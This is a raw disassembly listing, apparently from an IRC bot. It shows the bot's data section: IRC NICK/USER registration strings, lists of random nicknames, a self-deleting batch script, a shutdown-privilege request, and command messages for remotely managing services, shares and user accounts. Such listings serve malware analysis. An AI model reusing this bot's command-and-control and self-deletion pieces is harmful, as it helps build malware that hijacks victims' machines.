		cmp	[ebp-72CFFFBDh], cl
		inc	ebx
		add	[eax], ch
		lea	eax, [ebx+0]
		sbb	al, 8Dh
		inc	ebx
		add	ds:8D0C0043h[ecx*4], dl
		inc	ebx
		add	[eax], cl
		lea	eax, [ebx+0]
		add	[ebp-6D0BFFBDh], cl
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		db  10h
		db  93h	; ⌠
		db  43h	; C
		db    0
		db  88h	; ┬
		db 0B1h	; ╠
		db  42h	; B
		db    0
		db  0Ch
		db  93h	; ⌠
		db  43h	; C
		db    0
		db    8
		db  93h	; ⌠
		db  43h	; C
		db    0
		db    4
		db  93h	; ⌠
		db  43h	; C
		db    0
		db  70h	; p
		db 0C6h	; ф
		db  42h	; B
		db    0
		db  34h	; 4
		db 0B9h	; ╧
		db  42h	; B
		db    0
		db  7Ch	; |
		db 0B7h	; ╥
		db  42h	; B
		db    0
		db 0ECh	; Л
		db 0CAh	; й
		db  42h	; B
		db    0
		dd offset dword_439300
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439318
		dd offset dword_4392F8
		dd offset dword_439314
		dd offset dword_4392FC
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4392FC
		dd offset dword_439308
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438CB8
		dd offset aBbl		; "|bbl"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset a___0		; "_|_"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392C4
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4392F4
		dd offset byte_43DB88
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392A8
		dd offset byte_43DB88
		dd offset off_438C78
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C38
		dd offset dword_438C34
		dd offset dword_438C2C
		dd offset dword_438C20
		dd offset dword_438C18
		dd offset dword_438C10
		dd offset dword_438C08
		dd offset dword_438C04
		dd offset dword_438C00
dword_438C00	dd 7536h		; DATA XREF: ___:00438BFCo
dword_438C04	dd 7535h		; DATA XREF: ___:00438BF8o
dword_438C08	dd 7C75347Ch, 0		; DATA XREF: ___:00438BF4o
dword_438C10	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438BF0o
dword_438C18	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438BECo
dword_438C20	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438BE4o
dword_438C34	dd 6C6F6Ch		; DATA XREF: ___:00438BE0o
dword_438C38	dd 746F74h		; DATA XREF: ___:00438BDCo
aMofo		db 'mofo',0             ; DATA XREF: ___:00438BD8o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438BD4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438BD0o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438BCCo
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438BC8o
aShit		db 'shit',0             ; DATA XREF: ___:00438BC4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438BC0o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438BBCo
		align 4
off_438C78	dd offset loc_594F42	; DATA XREF: ___:00438BB8o
aFree		db 'Free',0             ; DATA XREF: ___:00438BA4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438BA0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438B94o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438B88o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438B84o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438B80o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438B64o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438B58o
		align 4
off_438CB8	dd offset loc_425240+2	; DATA XREF: ___:00438B54o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438B40o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438B3Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B38o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B34o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B30o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B2Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B28o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B24o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B20o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B1Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B18o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438AF8o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0              ; DATA XREF: ___:00438A78o
aTree		db 'tree',0             ; DATA XREF: ___:00438A74o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00438A70o
aLez		db 'lez',0              ; DATA XREF: ___:00438A6Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00438A64o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00438A60o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438A5Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438A58o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438A54o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438A50o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A4Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A48o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A44o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A40o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A3Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A38o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A34o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A30o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A2Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A28o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A24o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A20o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A1Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A18o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A14o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A10o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A0Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A08o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A04o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A00o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:004389FCo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:004389F8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:004389F4o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:004389F0o
		align 4
off_438E98	dd offset byte_4B5245	; DATA XREF: ___:004389ECo
aSevda		db 'sevda',0            ; DATA XREF: ___:004389E8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389E4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389E0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389DCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:004389D8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389D4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389D0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389CCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389C8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389C4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389C0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389BCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389B8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389B4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389B0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389ACo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389A8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389A4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389A0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043899Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438998o
aHoly		db 'holy',0             ; DATA XREF: ___:00438994o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438990o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043898Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438988o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438984o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438980o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043897Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438978o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00438974o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438970o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043896Co
aArda		db 'arda',0             ; DATA XREF: ___:00438968o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00438964o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438960o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043895Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438958o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00438954o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:00438950o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043894Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438948o
		align 4
off_43902C	dd offset byte_457441	; DATA XREF: ___:00438944o
dword_439030	dd 414C5941h, 2Dh	; DATA XREF: ___:00438940o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043893Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438938o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438934o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438930o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043892Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438928o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438924o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438920o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043891Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438918o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438914o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438910o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043890Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438908o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438904o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438900o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:004388FCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:004388F8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:004388F4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:004388F0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388ECo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388E8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388E4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388E0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388DCo
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388D8o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388D4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388D0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388CCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388C8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388C4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388C0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388BCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388B8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388B4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388B0o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388ACo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388A8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388A4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388A0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043889Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438898o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438894o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438890o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043888Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438888o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438884o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438880o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:0043887Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:00438878o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00438874o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:00438870o
aMarcy		db 'marcy',0            ; DATA XREF: ___:0043886Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438868o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00438864o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438860o
aFlexster	db 'flexster',0         ; DATA XREF: ___:0043885Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438858o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00438854o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438850o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043884Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438848o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438844o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438840o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043883Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438838o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438834o
		align 4
aM_0:					; DATA XREF: ___:00438830o
					; ___:00438B7Co
		unicode	0, <M>,0
word_439298	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043882Co
		align 4
dword_43929C	dd 42h			; DATA XREF: ___:00438828o
dword_4392A0	dd 56h			; DATA XREF: ___:00438824o
dword_4392A4	dd 43h			; DATA XREF: ___:00438820o
dword_4392A8	dd 58h			; DATA XREF: ___:0043881Co
					; ___:00438BB0o
dword_4392AC	dd 5Ah			; DATA XREF: ___:00438818o
dword_4392B0	dd 4Ch			; DATA XREF: ___:00438814o
dword_4392B4	dd 4Bh			; DATA XREF: ___:00438810o
dword_4392B8	dd 4Ah			; DATA XREF: ___:0043880Co
dword_4392BC	dd 48h			; DATA XREF: ___:00438808o
dword_4392C0	dd 47h			; DATA XREF: ___:00438804o
dword_4392C4	dd 46h			; DATA XREF: ___:00438800o
					; ___:00438B78o
dword_4392C8	dd 44h			; DATA XREF: ___:004387FCo
dword_4392CC	dd 53h			; DATA XREF: ___:004387F8o
dword_4392D0	dd 50h			; DATA XREF: ___:004387F0o
dword_4392D4	dd 4Fh			; DATA XREF: ___:004387ECo
dword_4392D8	dd 55h			; DATA XREF: ___:004387E4o
word_4392DC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387E0o
		align 10h
dword_4392E0	dd 54h			; DATA XREF: ___:004387DCo
dword_4392E4	dd 52h			; DATA XREF: ___:004387D8o
dword_4392E8	dd 45h			; DATA XREF: ___:004387D4o
dword_4392EC	dd 57h			; DATA XREF: ___:004387D0o
dword_4392F0	dd 51h			; DATA XREF: ___:004387CCo
dword_4392F4	dd 62h			; DATA XREF: ___:004387C0o
					; ___:00438B8Co
dword_4392F8	dd 78h			; DATA XREF: ___:00438B0Co
dword_4392FC	dd 7Ah			; DATA XREF: ___:00438B14o
					; ___:00438B44o
dword_439300	dd 6Ch,	68h		; DATA XREF: ___:004387ACo
					; ___:00438AE0o
dword_439308	dd 67h,	66h, 64h	; DATA XREF: ___:00438B48o
dword_439314	dd 79h			; DATA XREF: ___:00438B10o
dword_439318	dd 77h			; DATA XREF: ___:00438B08o
dword_43931C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439328	dd 323334h		; DATA XREF: sub_417B76+79o
dword_43932C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_439374	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393DC:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394A4	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4394FC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439518	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43951C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439520	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43958Ch, 439584h,	2, 439578h, 43956Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043954Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439548o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439540o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043953Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439534o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439530o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439528o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439524o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43951Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439518o
unk_4395E0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439604	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B84	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BA8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C10	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439C70	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439C98	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CC8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
